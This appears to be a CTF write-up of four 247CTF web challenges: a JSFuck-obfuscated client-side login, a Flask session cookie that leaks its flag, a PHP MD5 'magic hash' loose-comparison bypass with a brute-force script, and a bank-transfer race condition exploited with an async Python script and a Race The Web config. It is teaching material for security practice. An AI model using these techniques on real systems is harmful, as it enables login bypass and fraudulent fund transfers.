247CTF is a Capture The Flag (CTF) learning platform, with challenges across categories like web, crypto, pwn, reverse, …
Below are a few web challenges from this site.
TRUSTED CLIENT
Developers don’t always have time to setup a backend service when prototyping code. Storing credentials on the client side should be fine as long as it’s obfuscated right?
Visiting the website we see a login form.
Checking the page source code. We see a pretty interesting js snippet made of a few characters repeated over and over that looks really weird.

If you don’t know it yet, this is jsfuck. What a wtf name, right =)))
There are quite a lot of tools to decode jsfuck. Here I used this tool remember to change the version to v0.4.0 though

SECURED SESSION
If you can guess our random secret key, we will tell you the flag securely stored in your session.
Source code:
import osfrom flask import Flask, request, sessionfrom flag import flag
app = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(24)
def secret_key_to_int(s): try: secret_key = int(s) except ValueError: secret_key = 0 return secret_key
@app.route("/flag")def index(): secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None session['flag'] = flag if secret_key == app.config['SECRET_KEY']: return session['flag'] else: return "Incorrect secret key!"
@app.route('/')def source(): return "%s" % open(__file__).read()
if __name__ == "__main__": app.run()When we access /flag the server does the following in order:
-
Check whether
secret_keyis present in the request or not.-
If it is, it passes the value of
secret_keyinto thesecret_key_to_intfunction. This function converts the value ofsecret_keyto an int, and if there’s aValueErrorit sets the value to0 -
If not, it returns None
-
-
Set the value of
flagin the session to the real flag -
Check whether the
secret_keyobtained above is actually equal to thesecret_keyin the app config. So whethersecret_keyis right or wrong, when we access/flagwe still get the real flag stored in the session cookie
The cookie I got:
This cookie is split into 3 parts separated by a dot. The first part is base64 encoded. Decoding this part we get

Yap. Base64 again. Decoding this string we get the flag

COMPARE THE PAIR
Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right? The source code will show up as soon as you visit the site
<?php require_once('flag.php'); $password_hash = "0e902564435691274142490923013038"; $salt = "f789bbc328a3d1a3"; if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){ echo $flag; } echo highlight_file(__FILE__, true);?>In php there are 2 kinds of comparison:
-
==is Loose comparisons -
===is Strict comparisons Check out the 2 tables below to understand more:

Here php treats strings starting with 0e, for example 0e123, as 0 to the power of 123, which is equivalent to 0
-> we just need to find some password value such that the md5 hash of the string f789bbc328a3d1a3xxxxxxxx has its first 2 characters as 0e and all the characters after that as digits, then we bypass this check logic. Easier than having to find the exact right password, right =))))))
The reason the string here is f789bbc328a3d1a3xxxxxxxx is because the source code has md5($salt . $_GET['password']) == $password_hash) where $salt . $_GET['password'] is similar to salt + password in python, it concatenates the two strings together.

md5 is a one-way hash function so it can’t be reversed, so to find this xxxxxx string we can use the following code to brute force it (slow, but still faster than finding the exact password)
from hashlib import md5import time
start_time = time.time()salt = "f789bbc328a3d1a3"
for i in range(100000000000000): tmp = salt + str(i) tmp_hash = md5(tmp.encode()).hexdigest() if tmp_hash[0:2] == "0e" and tmp_hash[2::].isdigit(): print(i) print(tmp) print(tmp_hash) print("Run time: ", time.time() - start_time) breakRunning the code above, the password value we need to find is exactly that i
Accessing /?password=<i> we get the flag:

ACID FLAG BANK
You can purchase a flag directly from the ACID flag bank, however there aren’t enough funds in the entire bank to complete that transaction! Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds?
Source code:
<?phprequire_once('flag.php');
class ChallDB{ public function __construct($flag) { $this->pdo = new SQLite3('/tmp/users.db'); $this->flag = $flag; }
public function updateFunds($id, $funds) { $stmt = $this->pdo->prepare('update users set funds = :funds where id = :id'); $stmt->bindValue(':id', $id, SQLITE3_INTEGER); $stmt->bindValue(':funds', $funds, SQLITE3_INTEGER); return $stmt->execute(); }
public function resetFunds() { $this->updateFunds(1, 247); $this->updateFunds(2, 0); return "Funds updated!"; }
public function getFunds($id) { $stmt = $this->pdo->prepare('select funds from users where id = :id'); $stmt->bindValue(':id', $id, SQLITE3_INTEGER); $result = $stmt->execute(); return $result->fetchArray(SQLITE3_ASSOC)['funds']; }
public function validUser($id) { $stmt = $this->pdo->prepare('select count(*) as valid from users where id = :id'); $stmt->bindValue(':id', $id, SQLITE3_INTEGER); $result = $stmt->execute(); $row = $result->fetchArray(SQLITE3_ASSOC); return $row['valid'] == true; }
public function dumpUsers() { $result = $this->pdo->query("select id, funds from users"); echo "<pre>"; echo "ID FUNDS\n"; while ($row = $result->fetchArray(SQLITE3_ASSOC)) { echo "{$row['id']} {$row['funds']}\n"; } echo "</pre>"; }
public function buyFlag($id) { if ($this->validUser($id) && $this->getFunds($id) > 247) { return $this->flag; } else { return "Insufficient funds!"; } }
public function clean($x) { return round((int)trim($x)); }}
$db = new challDB($flag);if (isset($_GET['dump'])) { $db->dumpUsers();} elseif (isset($_GET['reset'])) { echo $db->resetFunds();} elseif (isset($_GET['flag'], $_GET['from'])) { $from = $db->clean($_GET['from']); echo $db->buyFlag($from);} elseif (isset($_GET['to'],$_GET['from'],$_GET['amount'])) { $to = $db->clean($_GET['to']); $from = $db->clean($_GET['from']); $amount = $db->clean($_GET['amount']); if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) { $db->updateFunds($from, $db->getFunds($from) - $amount); $db->updateFunds($to, $db->getFunds($to) + $amount); echo "Funds transferred!"; } else { echo "Invalid transfer request!"; }} else { echo highlight_file(__FILE__, true);}Let’s analyze the source together.
First is the ChallDB class, this class provides the methods for managing this chall’s database.
The methods in the class:
-
updateFunds($id, $funds): Update the amount of money of the user with the given id to the given amount -
resetFunds(): Reset the amount of money of all users back to default -
getFunds($id): Get the amount of money of the user with the given id -
validUser($id): Check whether a user with the given id exists or not -
dumpUsers(): Display the id and the corresponding amount of money of the users -
buyFlag($id): Check whether the user with the given id has enough money. If yes it returns the flag, if not it returns “Insufficient funds!” -
clean($x): Strip the whitespace from the string x and convert it to int How the sever works: -
If the GET request has the
dumpparameter ->dumpUsers() -
If the GET request has the
resetparameter ->resetFunds() -
If the GET request has the
flagandfromparameters ->buyFlag($id)with the id taken from the from parameter -
If the GET request has the
to,fromandamountparameters -> transfer an amount of money equal to amount from the user whose id is taken from the to parameter to the user whose id is from the from parameter
And the chall description says Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds? 247CTF also gives us a very useful video about a vulnerability called race condition
For the details you can watch the video to understand better. Here I’ll summarize it to fit this chall. Our goal is to have enough money to buy the flag which costs >247. There are 2 users set up in advance, one with exactly 247 in their account and the other with nothing. So to increase the amount of money for one of the two users we can take advantage of the window of time while the server is processing the first transfer to request one more transfer.
For example if we transfer 200 from user 1 to 2, then the next time we can’t transfer more than 47 from 1 to 2 anymore IF WE DO IT SEQUENTIALLY. But what if I request another 200 transfer while the server hasn’t deducted user 1’s money yet?. Yap! we’ll make user 2’s money increase past 247. This is exactly a race condition.
So how do we do it. After a bit of googling I found 2 ways.
Way 1: use a python snippet I got from hacktricks here
import asyncioimport httpx
async def use_code(client): resp = await client.get('https://<your-url>.247ctf.com/?to=2&from=1&amount=200') return resp.text
async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results for r in results: print(r)
# Async2sync sleep await asyncio.sleep(0)
asyncio.run(main())Running the code above, reset fund a few times until we get output like
Funds transferred!Invalid transfer request!Funds transferred!Invalid transfer request!Invalid transfer request!
Invalid transfer request!Invalid transfer request!Funds transferred!
Invalid transfer request!
Invalid transfer request!Invalid transfer request!Invalid transfer request!Invalid transfer request!Invalid transfer request!Invalid transfer request!Invalid transfer request!As you can see the “Funds transferred!” message shows up 3 times, which proves I succeeded. But when checking the fund user 2 only has 400 =))) Whatever, as long as it worked =))
Way 2: There’s a tool called Race The Web (RTW) that will help us do this.
You can read more on the tool’s github. I ran the precompiled bin file with the config.toml file as follows:
count = 100proxy = "http://127.0.0.1:8080"
[[requests]] method = "GET" url = "https://<your-url>.247ctf.com/?to=2&from=1&amount=200"Again I still had to reset fund a few times before I got user 2 with more than 247.
To get the flag just send a get request by accessing https://<your-url>.247ctf.com/?flag&from=2
